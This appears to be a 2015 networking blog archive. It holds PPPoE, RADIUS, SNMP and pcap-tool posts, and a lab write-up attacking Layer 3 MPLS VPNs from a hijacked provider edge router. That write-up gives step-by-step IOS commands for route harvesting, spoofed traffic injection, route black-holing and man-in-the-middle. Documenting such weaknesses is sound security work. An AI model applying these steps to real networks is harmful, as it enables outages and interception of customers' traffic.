Sunday, 19 April 2015

Quick Build - PPPoE Client on JunOS

In this quick-build guide I'll show you how to set up a very basic JunOS-based PPPoE client. This example is from a Firefly virtual SRX firewall appliance, however the config should be identical on any JunOS platform. As usual, the build will cover the most simple common use case (no VLAN tags, dynamic AC selection, negotiated IP).

Note, if you want a PPPoE access concentrator to go with your client, you may find the Quick Build: Cisco IOS PPPoE Server with RADIUS Authentication post useful.

The Setup


The PPPoE client is set up in two config stanzas - the first being the physical interface which will connect towards the access concentrator, the second being a virtual point to point interface that will become live when the PPPoE session comes up. We'll build the physical interface first, as follows:

set interfaces ge-0/0/2 unit 0 encapsulation ppp-over-ether

In true JunOS fashion, very little config required there. Turn the interface encapsulation dial to PPPoE :)

Next, we need to set up the point to point interface. We'll create it as unit 0 and bind it to the physical interface we just configured:


set interfaces pp0 unit 0 pppoe-options underlying-interface ge-0/0/2.0
set interfaces pp0 unit 0 pppoe-options client

Now the PPP settings:

set interfaces pp0 unit 0 ppp-options chap default-chap-secret b0dges
set interfaces pp0 unit 0 ppp-options chap local-name "user@domain"
set interfaces pp0 unit 0 ppp-options chap passive


The lines above essentially just set the CHAP local name (think username), the CHAP secret (think password) and set CHAP to passive mode (i.e. tell it not to try to get the AC to authenticate to us). All that then remains is to configure up the IP:

set interfaces pp0 unit 0 family inet negotiate-address
set routing-options static route 0.0.0.0/0 next-hop pp0.0

That really is all that you need! In real life you will probably need to add NAT and so on, but the PPPoE configuration is done and the interface should just pop up on its own.

Debugging


Debugging PPPoE setup is best done by enabling trace logging for the PPP and PPPoE protocols as follows:

set protocols ppp traceoptions file ppp
set protocols ppp traceoptions level all
set protocols ppp traceoptions flag all
set protocols pppoe traceoptions file pppoe
set protocols pppoe traceoptions level all
set protocols pppoe traceoptions flag all


The output of these traces can then be seen using "show log ppp" and "show log pppoe" respectively. They are quite verbose and should give a strong steer on what is not working.

Quick Build - Cisco IOS PPPoE Server with RADIUS Authentication

In this guide I'll show you how to quickly set up an IOS-based PPPoE access concentrator and a RADIUS server for it to authenticate against. As part of the setup I'll include both dynamic (pool based) IP subscribers and a fixed IP subscriber, which should cover most basic use cases.

The setup I describe will look like this (we will only build the RADIUS and the AC):



If you need a client to go with it, please check out my post titled Quick build - PPPoE Client on Cisco IOS

Stage 1 - The RADIUS Server


Firstly we'll configure the RADIUS server - the starting point for this is a completely clean install of Kali Linux. It makes no difference if this is running as a VM or on a physical box but you will probably run out of "disk space" if you try to do this from a live CD boot. This assumes that you either have configured an Internet connection or have a full Kali disc / image from which to install packages.

Task 1 - Configure the Network Interface


Edit /etc/networks/interfaces and add the following (adjust interface names as necessary):

auto eth1
iface eth1 inet static
    address 10.0.0.10
    netmask 255.255.255.0


Save the file, then run:

ifdown eth1
ifup eth1


Task 2 - Install FreeRADIUS


Assuming your Internet connection / Kali disc is accessible, just run:

apt-get update
apt-get install freeradius


Task 3 - Configure FreeRADIUS


The FreeRADIUS config files are pretty big and are mostly full of examples that aren't relevant to this setup, so we'll just set them aside and create new ones from scratch. Firstly we will replace the clients.conf file which tells FreeRADIUS which devices are allowed to authenticate against it.

Firstly, ditch the old one:
mv /etc/freeradius/clients.conf /etc/freeradius/ORIG-clients.conf

Next, edit /etc/freeradius/clients.conf and add:

client 10.0.0.100/32 {
    secret        = b0dges
    shortname    = PE1
    nastype        = cisco
}


Save the file and exit. Now do a similar thing with the users file (which is used to define how the users will be authenticated):

mv /etc/freeradius/users /etc/freeradius/ORIG-users

Edit /etc/freeradius/users and add:

DEFAULT         Auth-Type := CHAP, Cleartext-Password := "password1"
                    Framed-Protocol = PPP,
                    Framed-IP-Address = 255.255.255.254
foeh@fixed      Auth-Type := CHAP, Cleartext-Password := "password2"
                    Framed-Protocol = PPP,
                    Framed-IP-Address = 192.168.100.1


Save the file and exit. Note that the special "255.255.255.254" address above instructs the access concentrator to assign an IP locally from its pool.

Task 4 - Restart FreeRADIUS with the New Config


Simply run:

service freeradius restart


The service should restart without error. That's the difficult RADIUS config done, now onto the access concentrator!

Stage 2 - Configure the Access Concentrator


I'll go into a little more detail on this part as it's not quite as intuitive. The base device here is an IOS 12.3 router, Cisco's licensing model is complex and seems to vary wildly between platforms so I'll let you poke around in feature navigator to work out which feature set and release will work on your device... It seems to work fine on a 3845 running security services if that helps.

Task 1 - Configure Interfaces


We need a couple of interfaces configured here:
  • An interface towards RADIUS (obviously)
  • A loopback interface (used to address the "unnumbered" PPPoE tunnel interfaces)
  • A client interface (where the PPPoE users will attach)

interface FastEthernet1/0
 description To RADIUS
 ip address 10.0.0.100 255.255.255.0
 no shutdown
!
interface Loopback0

 description IP for Unnumbered Tunnel Interfaces
 ip address 1.1.1.1 255.255.255.255
!
interface FastEthernet0/1
 description To Clients
 no shutdown
!


We won't configure anything on the client interface for the moment but we will return to it momentarily...

Task 2 - Configure PPPoE


Firstly we need to configure a BBA group, which is just a way to associate a bunch of settings with a particular interface. We'll use the default "global" group and configure it to use virtual-template 1:

bba-group pppoe global
 virtual-template 1

Next, we need to define what Virtual-Template1 is. Virtual template interfaces are used to define a prototype on which to base the Virtual-Access (tunnel) interfaces which are automatically created when a PPPoE user connects. In this most simple of examples we just define where the interface's local IP address should be cloned from, where the PPPoE user's IP address should be allocated from and the authentication protocol we want to use:

interface Virtual-Template1
 ip unnumbered Loopback0
 peer default ip address pool localpool
 ppp authentication chap


The "peer default ip address" command above refers to a pool called "localpool", so we'd better create that:

ip local pool localpool 172.16.0.1 172.16.0.100

Now that we've defined all that good stuff, we need to apply the BBA group to the client interface:

interface FastEthernet0/1
 pppoe enable group global


Pretty simple so far and, in fact, that's most of the config done. All we need to do now is to...

Task 3 - Point the Router at the RADIUS


There are three relatively straightforward steps here, firstly we have to enable AAA new model on the device and then define the RADIUS server details (note, FreeRADIUS' ports differ from Cisco's defaults so we need to specify them):

aaa new-model
radius server kali
 address ipv4 10.0.0.10 auth-port 1812 acct-port 1813
 key b0dges


Then we have to tell the router to go to RADIUS when authenticating PPPoE users:

aaa authentication ppp default group radius
aaa authorization network default group radius


The second line is not necessary for dynamic IP users but instructs the router that it should allow RADIUS to tell it what the user's IP (and some other things) should be. If you leave out the last line then users with a RADIUS defined static IP will get one out of the pool like everyone else, so if RADIUS Framed-IP attributes are being ignored this is probably the cause.

Note: You may want to configure some local usernames for access to the CLI and add "aaa authentication login default local" or similar.

At this point, your PPPoE Access Concentrator with RADIUS authentication is ready for use!

If you're unsure how to set up a client, I've also written quick build posts for that:



Debugging


No build would be complete without a little bit of debugging. This is such a straightforward setup that, barring layer 3 issues, there's not a lot that can go wrong. Troubleshooting would pretty much be as follows:

  • Verify that you are getting PPPoE control traffic in from your client (debug pppoe packet, debug pppoe event). The sequence should be PADI, PADO, PADR, PADS. PADT indicates someone is pulling down the session, the debugs should show you who!
  • Check IP reachability to the RADIUS box using ping
  • Verify that FreeRADIUS is running (ps -aux | grep freeradius), start it if necessary (/etc/init.d/freeradius start)
  • If your client can't authenticate, check the password matches what's in FreeRADIUS (/etc/freeradius/users), not forgetting to restart FreeRADIUS if you make changes (/etc/init.d/freeradius restart)
  • If the passwords match but you are still getting authentication errors, verify that your secrets match between the router ("key" under "radius-server") and FreeRADIUS (/etc/freeradius/clients.conf), the NAS IP matches your router and that FreeRADIUS has been restarted since the last change (/etc/init.d/freeradius restart)
  •  Check your PPP is negotiating OK (debug ppp negotiation)
Some more tips that may be helpful can be found on my post about debugging Cisco PPPoE clients.

Quick build - PPPoE Client on Cisco IOS

In this quick-build guide I'll show you how to set up a very basic IOS-based PPPoE client. This example is from a Cisco 819 router, however the config is pretty much the same on most ISR type devices. As usual, the build will cover the most simple common use case (no VLAN tags, dynamic AC selection, negotiated IP).

Note, if you want a PPPoE access concentrator to go with your client, you may find the Quick Build: Cisco IOS PPPoE Server with RADIUS Authentication post useful.

The Setup



The PPPoE client is basically set up in two parts - the first being the physical interface which will connect towards the access concentrator, the second being a dialer interface that will become instantiated when the PPPoE session comes up. We'll build the physical interface first, as follows:

interface GigabitEthernet0
 description To AC
 pppoe enable pppoe-client dial-pool-number 1
 no shutdown
!

Pretty minimal... turn PPPoE on, and tell it which dialer pool to use. Note, in older versions of IOS the command was simply "pppoe-client dial-pool-number 1". Next, we have to configure the dialer interface, as follows:

interface Dialer1
 ip address negotiated
 encapsulation ppp
 dialer pool 1
 dialer-group 1
 ppp authentication chap callin
 ppp chap hostname user@domain
 ppp chap password 0 b0dges
!
dialer-list 1 protocol ip permit
ip route 0.0.0.0 0.0.0.0 Dialer1

This creates the dialer interface that we will use, tells it to use PPP and to pick up its IP address dynamically.

The "dialer pool" command places this dialer into the pool where the physical interface was set to look, while the "dialer-group" command specifies which dialer-list will be used to decide what traffic is interesting (i.e. will bring or keep the PPPoE session up).

The PPP commands force the authentication type to CHAP, specify that we will not make the AC authenticate to us (generally not supported) and set the CHAP hostname (think username) and password.

Finally, the dialer-list referred to in the earlier "dialer-group" command is defined to match any IP traffic at all, before a static route is used to force traffic out of the dialer interface.

That really is all that you need! In real life you will probably need to add NAT statements and you will definitely need at least one other interface, but that's the PPPoE part done.

Debugging


There's an entire post dedicated to this subject, but the short version is as follows:

  • Verify that you are getting PPPoE control traffic between your client and the server (debug pppoe packet, debug pppoe event). The sequence should be PADI, PADO, PADR, PADS. PADT indicates someone is pulling down the session, the debugs should show you who!
  • Check the static route has installed in your routing table as traffic will only trigger the PPP up if it hits the interface (show ip route)
  • Verify that there is at least one "up" IP interface on the box other than the dialer. If there's no source address usable then any test traffic will fail to encapsulate and you won't be able to bring PPP up. (show ip interfaces brief)
  • If your client can't authenticate, check the credentials (both hostname and password under the Dialer interface) and ensure that the authentication type is CHAP in "callin" mode.
  •  Check your PPP is negotiating OK (debug ppp negotiation)

Monday, 16 February 2015

Bending the MPLS Security Model - part 4 (Layer 3 interception,injection and MitM)

An Attack on Layer 3 VPNs

Layer 3 MPLS VPNs are exceptionally flexible. Various weird and wonderful topologies can be created by the masterful tweaking of route targets, while the use of BGP to carry routing information means that absolutely bespoke policies can be applied. BGP is also far more scalable than any other protocol and has the brilliant notion of route reflectors, meaning that adding another node into even a very large network requires configuration in just a few locations.
Unfortunately, flexibility and complexity are the enemies of security and that is certainly true here. Any moderately sized MPLS network will use BGP route reflectors and, every peer needs to be defined in the route reflector's configuration so not just anyone can connect up to them. Unfortunately, once you have a peering (i.e. if you hijack an existing PE anywhere in the network) then you really do have the keys to the city.

The diagram below shows the topology used in all the scenarios discussed in this post. Basically, PE1 connects to network A (192.168.1.0/24) and PE2 connects to network B (192.168.2.0/24). Off to the side, somewhere in the MPLS network, lives Evil-PE. Attached to Evil-PE is an evil host. If this is starting to sound like an episode of "Funnybones" just bear with it...


Finding Targets


Route reflectors know every route for every VPN in the network and are willing to tell all their peers about all of them. This, and the lack of RPF checks, means that injection and spoofing attacks are absolutely trivial in layer 3 VPNs. With a layer 2 pseudowire you have to somehow figure out or guess the labels required to inject dodgy traffic, but with a layer 3 VPN the route reflector will just give you the information... for every VPN prefix in the autonomous system!
Here's an example:

PE1#show ip bgp vpnv4 rd 100:100 192.168.2.0/24
BGP routing table entry for 100:100:192.168.2.0/24, version 4
Paths: (1 available, best #1, table customer)
  Not advertised to any peer
  Refresh Epoch 1
  Local
    2.2.2.2 (metric 3) from 100.100.100.100 (100.100.100.100)
      Origin incomplete, metric 0, localpref 100, valid, internal, best
      Extended Community: RT:100:100
      Originator: 2.2.2.2, Cluster list: 100.100.100.100
      mpls labels in/out nolabel/21
      rx pathid: 0, tx pathid: 0x0
PE1#

Now normally with Cisco devices, only VPN routes that are imported into a VRF somewhere are kept in the table. This means that in order to see a VPN prefix, you have to have a VRF with an import route target matching the particular prefix. Here's output from the "Evil" PE which does not have any VRFs importing the same route:

Evil-PE#show ip bgp vpnv4 rd 100:100 192.168.2.0/24
% Network not in table


Evil-PE#

This is easily resolved by building a VRF that imports the prefix. But what if you don't know what route target to import? Fortunately, there's a bodge for this. As luck would have it, this conservative retention rule doesn't apply to route reflectors. We can use this to our advantage by simply setting up a bogus route reflector client on the box (it doesn't even need to come up):

Evil-PE#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
Evil-PE(config)#router bgp 100
Evil-PE(config-router)#neighbor 9.9.9.9 remote-as 100
Evil-PE(config-router)#address-family vpnv4
Evil-PE(config-router-af)#neighbor 9.9.9.9 activate     
Evil-PE(config-router-af)#neighbor 9.9.9.9 route-reflector-client 
Evil-PE(config-router-af)#^Z
Evil-PE#


*Jan 29 22:59:49.047: %SYS-5-CONFIG_I: Configured from console by console
Evil#show ip bgp vpnv4 all

Not quite there yet, the change won't do anything until routes refresh so let's force that:

Evil-PE#clear ip bgp 100 soft in
Evil-PE#show ip bgp vpnv4 all 
BGP table version is 3, local router ID is 3.3.3.3
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal, 
              r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter, 
              x best-external, a additional-path, c RIB-compressed, 
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found

     Network          Next Hop            Metric LocPrf Weight Path
Route Distinguisher: 100:100
 *>i 192.168.1.0      1.1.1.1                  0    100      0 ?
 *>i 192.168.2.0      2.2.2.2                  0    100      0 ?
Evil-PE#

Great! Now we can see every VPN prefix on the entire network. Obviously in a real MPLS network there would be a *lot* more prefixes!

Injecting Traffic (Really Simple)


To inject traffic towards any prefix we like all we have to do is build a VRF which imports the appropriate route target. Let's start by checking which route target we need:

Evil-PE#show ip bgp vpnv4 rd 100:100 192.168.2.0
BGP routing table entry for 100:100:192.168.2.0/24, version 6
Paths: (1 available, best #1, no table)
  Not advertised to any peer
  Refresh Epoch 9
  Local
    2.2.2.2 (metric 3) from 100.100.100.100 (100.100.100.100)
      Origin incomplete, metric 0, localpref 100, valid, internal, best
      Extended Community: RT:100:100
      Originator: 2.2.2.2, Cluster list: 100.100.100.100
      mpls labels in/out nolabel/21
      rx pathid: 0, tx pathid: 0x0

Next we need to configure a VRF to import it:

Evil-PE#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
Evil-PE(config)#ip vrf push
Evil-PE(config-vrf)#rd 543:210
Evil-PE(config-vrf)#route-target import 100:100
Evil-PE(config-vrf)#exit
Evil-PE(config)#interface fa1/1
Evil-PE(config-if)#ip vrf forwarding push
Evil-PE(config-if)#ip address 30.30.30.1 255.255.255.0
Evil-PE(config-if)#no shut
*Jan 29 23:14:14.619: %LINK-3-UPDOWN: Interface FastEthernet1/1, changed state to up
*Jan 29 23:14:15.619: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/1, changed state to up
Evil-PE(config-if)#^Z
Evil-PE#

Now a device attached to the Fa1/1 interface can inject traffic spoofed from any source towards any VPN prefix learned via the configured route target. It really is as simple as that. The even better news is that we can spoof any source address we like - reverse path checks, when enabled, are done on the ingress PE - which we control. From our evil host we can inject whatever traffic we like towards hosts on the customer VRF:


Denial of Service (Simple)


Clearly it's very simple to inject traffic towards a target. What about causing trouble by black-holing traffic? Also trivial! As I said previously, once you're peered up with the route reflectors, you're golden. You can inject whatever routes you like and everyone will hear about them.

Let's say that a mail server lives on LAN B with IP address 192.168.2.100 and we want to DoS it. Let's just advertise a more specific route (with the same route target) pointing to the bit bucket:



The config is pretty straightforward:

Evil-PE#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
Evil-PE(config)#ip vrf pull
Evil-PE(config-vrf)#rd 876:543
Evil-PE(config-vrf)#route-target export 100:100
Evil-PE(config-vrf)#exit
Evil-PE(config-if)#ip route vrf pull 192.168.2.100 255.255.255.255 null0
Evil-PE(config)#router bgp 100
Evil-PE(config-router)#address-family ipv4 vrf pull
Evil-PE(config-router-af)#redistribute static
Evil-PE(config-router-af)#^Z
Evil-PE#

We can see that PE1 has bought this hook, line and sinker:

PE1#show ip route vrf customer
<snip>
      192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
C        192.168.1.0/24 is directly connected, FastEthernet0/1
L        192.168.1.1/32 is directly connected, FastEthernet0/1
      192.168.2.0/24 is variably subnetted, 2 subnets, 2 masks
B        192.168.2.0/24 [200/0] via 2.2.2.2, 00:51:13
B        192.168.2.100/32 [200/0] via 3.3.3.3, 00:02:20
PE1#

A wonderful (ab)use of the "most specific route wins" rule. As we can see, the mail server is no longer reachable from LAN A:

Before:
root@host-a:~# ping 192.168.2.100
PING 192.168.2.100 (192.168.2.100) 56(84) bytes of data.
64 bytes from 192.168.2.100: icmp_req=1 ttl=61 time=70.7 ms
64 bytes from 192.168.2.100: icmp_req=2 ttl=61 time=60.6 ms
64 bytes from 192.168.2.100: icmp_req=3 ttl=61 time=64.1 ms
^C
--- 192.168.2.100 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 60.616/65.187/70.793/4.223 ms

After:
root@host-a:~# ping 192.168.2.100
PING 192.168.2.100 (192.168.2.100) 56(84) bytes of data.
^C
--- 192.168.2.100 ping statistics ---
7 packets transmitted, 0 received, 100% packet loss, time 6011ms

root@host-a:~# 

Oh, dear!

Denial of Service (Almost as Simple)


What if the device we want to DoS is already known by a host route? Well, the good news is we can just make our dodgy route more desirable by smacking on an obscenely high local preference value. It also means we can advertise the full size prefix if we want to avoid arousing suspicion (or do more widespread damage):

Evil-PE#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
Evil-PE(config)#no ip route vrf pull 192.168.2.100 255.255.255.255 null0
Evil-PE(config)#ip route vrf pull 192.168.2.0 255.255.255.0 null0       
Evil-PE(config)#router bgp 100
Evil-PE(config-router)#address-family ipv4 vrf pull
Evil-PE(config-router-af)#redistribute static route-map SUPERDUPER
Evil-PE(config-router-af)#route-map SUPERDUPER permit 10
Evil-PE(config-route-map)#set local-preference 4294967295
Evil-PE(config-route-map)#^Z
Evil-PE#

Now we're advertising exactly the same network as the genuine PE2, but with a 4 billion local preference, which is the maximum available. Let's see what PE1 makes of this:

PE-1#show bgp vpnv4 unicast all 192.168.2.0/24
BGP routing table entry for 100:100:192.168.2.0/24, version 7
Paths: (2 available, best #1, table customer)
  Not advertised to any peer
  Refresh Epoch 1
  Local, imported path from 876:543:192.168.2.0/24 (global)
    3.3.3.3 (metric 3) from 100.100.100.100 (100.100.100.100)
      Origin incomplete, metric 0, localpref 4294967295, valid, internal, best
      Extended Community: RT:100:100
      Originator: 3.3.3.3, Cluster list: 100.100.100.100
      mpls labels in/out nolabel/22
      rx pathid: 0, tx pathid: 0x0
  Refresh Epoch 1
  Local
    2.2.2.2 (metric 3) from 100.100.100.100 (100.100.100.100)
      Origin incomplete, metric 0, localpref 100, valid, internal
      Extended Community: RT:100:100
      Originator: 2.2.2.2, Cluster list: 100.100.100.100
      mpls labels in/out nolabel/21
      rx pathid: 0, tx pathid: 0
BGP routing table entry for 876:543:192.168.2.0/24, version 6
Paths: (1 available, best #1, no table)
  Not advertised to any peer
  Refresh Epoch 1
  Local
    3.3.3.3 (metric 3) from 100.100.100.100 (100.100.100.100)
      Origin incomplete, metric 0, localpref 4294967295, valid, internal, best
      Extended Community: RT:100:100
      Originator: 3.3.3.3, Cluster list: 100.100.100.100
      mpls labels in/out nolabel/22
      rx pathid: 0, tx pathid: 0x0
PE-1#
 

PE1#show ip route vrf customer
<snip>
      192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
C        192.168.1.0/24 is directly connected, FastEthernet0/1
L        192.168.1.1/32 is directly connected, FastEthernet0/1
B     192.168.2.0/24 [200/0] via 3.3.3.3, 00:00:35
PE1#

Well, unsurprisingly, PE1 has gone for the prefix with the 4 billion local preference over the one with the default 100 and the entire /24 network is now black-holed.

Further explanation: The "show bgp vpnv4 unicast all 192.168.2.0/24" command returns three results. At first this seems a little strange but let's examine it.
  • The blue result is the evil route, as we can see by the 876:543 route distinguisher and the 4 billion local preference. 
  • The orange result is the legitimate route from PE-2 with a route distinguisher of 100:100 and a default local preference of 100. 
  • The red result is a little confusing, it shows a route with an RD of 100:100, a local preference of 4 billion and a next hop of 3.3.3.3 (the evil PE). 
But the evil PE is not injecting any routes with a 100:100 RD, so where is this coming from? The clue is in the "imported path from 876:543:192.168.2.0/24" message - the route that was used was the one with an RD of 876:543, however when it is imported into the customer VRF (which is configured with an RD of 100:100) it inherits the VRF's RD on its way in.

Man in the Middle


OK, these nuisance tactics are all well and good, but can we actually insert ourselves into the flow of traffic? The simple answer is that it is perfectly possible and, actually, not all that difficult. We saw above how we could push traffic towards any destination in the network anonymously. We also saw how we could trump existing routes to pull traffic in. With some relatively minor tweaks, combining these two techniques allows us to "man in the middle" valid traffic flows.

The technique I present here uses two VRFs: "pull" and "push". The idea is to pull the traffic out of the network to a place where we can tamper with it, then push the modified traffic back in as if it were legitimate, as in the diagram below:


The "pull" VRF


The "pull" VRF is used to draw in the traffic we want to man-in-the-middle. We do this in basically the same way as the black-holing trick above, i.e. either by advertising a more specific prefix or by advertising the same prefix but with a very high local preference. There are some nuances that must be carefully observed, though, so let's examine this step by step:

Firstly, create the VRF. Be sure to use a unique route distinguisher value not in use anywhere else and set the export route target to match the route being mimicked:

Evil-PE#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
Evil-PE(config)#ip vrf pull
Evil-PE(config-vrf)#rd 876:543
Evil-PE(config-vrf)#route-target export 100:100
Evil-PE(config-vrf)#exit
Evil-PE(config)#

Next, we need to create an interface within the pull VRF to "off-ramp" the traffic we have intercepted:

Evil-PE(config)#interface fa1/0
Evil-PE(config-if)#ip vrf forwarding pull
Evil-PE(config-if)#ip address 101.101.101.1 255.255.255.252
Evil-PE(config-if)#no shut
*Jan 29 23:35:26.814: %LINK-3-UPDOWN: Interface FastEthernet1/0, changed state to up
*Jan 29 23:35:27.814: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0, changed state to up
Evil-PE(config-if)#

Now we have some routing to do. We need a static route for each prefix we want to off-ramp (don't forget, you need the source and destination networks off-ramped to MitM), plus a routing policy to ensure a maximum local preference is used when advertising the prefixes:

Evil-PE(config-if)#ip route vrf pull 192.168.1.100 255.255.255.255 101.101.101.2
Evil-PE(config-if)#ip route vrf pull 192.168.2.100 255.255.255.255 101.101.101.2
Evil-PE(config)#route-map PULL permit 10
Evil-PE(config-route-map)#set local-preference 4294967295
Evil-PE(config-route-map)#set community 987:654
Evil-PE(config-route-map)#router bgp 100
Evil-PE(config-router)#address-family ipv4 vrf pull
Evil-PE(config-router-af)#redistribute static route-map PULL
Evil-PE(config-router-af)#^Z
Evil#

Note that we also apply a community value in our route-map. This should be a community not found elsewhere in the network, though its actual value is not important. It is simply used as a marker on any bogus routes we create which will later use to stop us believing our own lies. As it's a standard community and IOS by default only sends extended communities for VPNV4 routes, it probably won't even leave the local device but that's not important as we only need to understand it locally.

Also note: you have to generate routes to off-ramp both sides of the conversation, otherwise you'll just break stuff.

The "push" VRF


The "push" VRF is used to "on-ramp" our tampered traffic back into the network. As with the traffic injection case we more-or-less just need to create a VRF which exports nothing and imports the route targets of the networks we're messing with - the only difference here being that we filter any prefixes that carry the "bogus route" community defined in the "pull" VRF.

So create the VRF:

Evil-PE(config)#ip vrf push
Evil-PE(config-vrf)#rd 543:210
Evil-PE(config-vrf)#route-target import 100:100
Evil-PE(config-vrf)#import-map PUSH
Evil-PE(config-vrf)#exit

Now create the route-map to filter out any junk routes that we generate, while passing everything else:

Evil-PE(config)#ip community-list standard BOGUS permit 987:654
Evil-PE(config)#route-map PUSH deny 10
Evil-PE(config-route-map)#match community BOGUS
Evil-PE(config-route-map)#route-map PUSH permit 20

Next we need the on-ramp interface (in this example out MitM station will be bridging at layer 2 so it lives in the same network as the "pull" VRF interface. If your MitM station is routing, adjust accordingly):

Evil-PE(config)#interface fa1/1
Evil-PE(config-if)#ip vrf forwarding push
Evil-PE(config-if)#ip address 101.101.101.2 255.255.255.252
Evil-PE(config-if)#no shut
*Jan 29 23:38:01.109: %LINK-3-UPDOWN: Interface FastEthernet1/1, changed state to up
*Jan 29 23:38:02.109: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/1, changed state to up
Evil-PE(config-if)#^Z
Evil-PE#

That's the "push" VRF complete. Pretty straightforward.

Man-in-the-Middle Some Stuff


As soon as you do this, you should start seeing traffic being off-ramped into your evil box. Assuming routes are in place on there and IP forwarding is enabled, you should then see the traffic being on-ramped back into the MPLS network and forwarded to its real destination.

I could think of no better demonstration for this than Pete Stevens' Upside down ternet. It's such a brilliant idea which illustrates the point well but you can imagine some way more sinister stuff can be done with less light-hearted tools.

Sidetrack: I work in an ISP and once came across an Internet feed which was supposed to be ceased but the circuit was still live. Our customer had moved away but the new tenants were stealing service through their old connection. I really wanted to turn their Internet upside down but I was told just to cut them off instead. Spoil sports. I digress...

OK, so down to it. Let's imagine that host B is actually a proxy server, which host A uses to access the Internet. We set up as above, off-ramping traffic for both networks so that we can man-in the middle the traffic. With a bit of iptables / squid jiggery-pokery on the evil box, we can intercept the web traffic while passing everything else through cleanly.

As we can see, SSH works fine but there's something not quite right with Host A's Internet today...


References

Upside-down-ternet
Prank-O-Matic (elaboration of the upside-down-ternet)


Friday, 23 January 2015

Minimal SNMP View for Solarwinds Management of a Cisco Device

Some time ago, I was asked to provide a customer read-only SNMP access to a router so that they could monitor bandwidth utilisation. Unfortunately the device had some sensitive configuration which needed to be protected, so giving access to the full MIB was not an option. With that in mind, I set up an SNMP view which permitted access to the ifMIB and nothing else, thinking that would be sufficient to monitor interface usage.

The customer tested and soon came back to advise me that, although he could successfully run an SNMP walk, his Solarwinds NMS could not discover the device and therefore he couldn't get the stats he needed.

It turns out that Solarwinds needs a particular set of OIDs to be visible before it will allow a device to be discovered and brought under management. There are a few articles on the knowledge base about which OIDs it uses for various purposes, e.g:

http://knowledgebase.solarwinds.com/kb/questions/1196/

However, there doesn't seem to be one directly addressing the question of which OIDs are required just to bring a device under management.

Eventually I think I gave up and sniffed a discovery off the wire and looked at which OIDs it used -  I don't exactly remember any more. Anyway, here is a list that seems to do the trick. The following CLI should configure a minimal set of OIDs on a Cisco device:

snmp-server view STATS iso excluded
snmp-server view STATS mib-2 excluded
snmp-server view STATS cisco excluded
snmp-server view STATS system.1.0 included
snmp-server view STATS system.2.0 included
snmp-server view STATS system.4.0 included
snmp-server view STATS system.5.0 included
snmp-server view STATS system.6.0 included
snmp-server view STATS ifIndex included
snmp-server view STATS ifDescr included
snmp-server view STATS ifSpeed included
snmp-server view STATS ifOperStatus included
snmp-server view STATS ipAddrEntry.2 included
snmp-server view STATS lsystem.8 included
snmp-server view STATS lsystem.58 included
snmp-server view STATS chassis.6 included
snmp-server view STATS ifName included
snmp-server view STATS ifHCInOctets included
snmp-server view STATS ifHCInUcastPkts included
snmp-server view STATS ifHCInMulticastPkts included
snmp-server view STATS ifHCInBroadcastPkts included
snmp-server view STATS ifHCOutOctets included
snmp-server view STATS ifHCOutUcastPkts included
snmp-server view STATS ifHCOutMulticastPkts included
snmp-server view STATS ifHCOutBroadcastPkts included
snmp-server view STATS ifHighSpeed included
snmp-server view STATS ifAlias included
snmp-server view STATS ciscoMemoryPoolEntry.5 included
snmp-server view STATS ciscoMemoryPoolEntry.6 included
snmp-server view STATS cpmCPUTotalTable.1.5 included
snmp-server view STATS cpmCPUTotalTable.1.8 included

Once the view is defined, you just need to apply it to the particular community string for SNMPv2:

snmp-server community mycomm view STATS RO

Or the user for SNMPv3:

snmp-server group Monitoring v3 priv read STATS write STATS

This config allowed SolarWinds to discover the device and bring it under management. It also allowed basic port stats to be collected and general up/down alarms to be raised.

Of course, you can add more OIDs into the "included" list as needed for your particular use case, however these should be enough for SolarWinds to discover the device.

Adjusting timestamps in PCAP files

Many times in the past I've had to look at a pair of pcap files side by side in order to troubleshoot an issue. More often than not, one of the PCAP files was produced on a ropey old laptop whose clock is "almost right" - the timestamps between the two files then don't tie up and it is a pain to keep working out "if it's time X in that file, I need to look at time Y in this file..."

This week I overheard a colleague in the office having exactly that problem and thought it wouldn't be too hard to build a utility to time shift pcap files by a specified amount. So here it is:


Installation


As explained in the readme, it should be possible to compile on any system with gcc using only the standard libraries. Just download the capshift.c and capshift.h files and compile (gcc -o capshift capshift.c), or download a binary if one exists for your system.

Usage


Capshift takes three arguments, all mandatory:

  • The input pcap file, specified using -r
  • The output pcap file, specified using -w
  • The time offset value (positive or negative), specified using -o

Here's an example:


Harrys-MacBook-Air:capshift foeh$ tshark -ta -r before.cap
  1 15:30:45.978539 192.168.1.25 -> 192.168.1.1 ICMP 74 Echo (ping) request  id=0x0001, seq=4748/35858, ttl=128
  2 15:30:45.979407 192.168.1.1 -> 192.168.1.25 ICMP 74 Echo (ping) reply    id=0x0001, seq=4748/35858, ttl=255
  3 15:30:46.979315 192.168.1.25 -> 192.168.1.1 ICMP 74 Echo (ping) request  id=0x0001, seq=4749/36114, ttl=128
  4 15:30:46.980274 192.168.1.1 -> 192.168.1.25 ICMP 74 Echo (ping) reply    id=0x0001, seq=4749/36114, ttl=255
  5 15:30:47.980323 192.168.1.25 -> 192.168.1.1 ICMP 74 Echo (ping) request  id=0x0001, seq=4750/36370, ttl=128
  6 15:30:47.981215 192.168.1.1 -> 192.168.1.25 ICMP 74 Echo (ping) reply    id=0x0001, seq=4750/36370, ttl=255
  7 15:30:48.981387 192.168.1.25 -> 192.168.1.1 ICMP 74 Echo (ping) request  id=0x0001, seq=4751/36626, ttl=128
  8 15:30:48.982277 192.168.1.1 -> 192.168.1.25 ICMP 74 Echo (ping) reply    id=0x0001, seq=4751/36626, ttl=255
Harrys-MacBook-Air:capshift foeh$ capshift -r before.cap -w after.cap -o -0.5

Parsing capfile, attempting to shift backward by 0.500000 seconds...

8 frames processed.
Harrys-MacBook-Air:capshift foeh$ tshark -ta -r after.cap
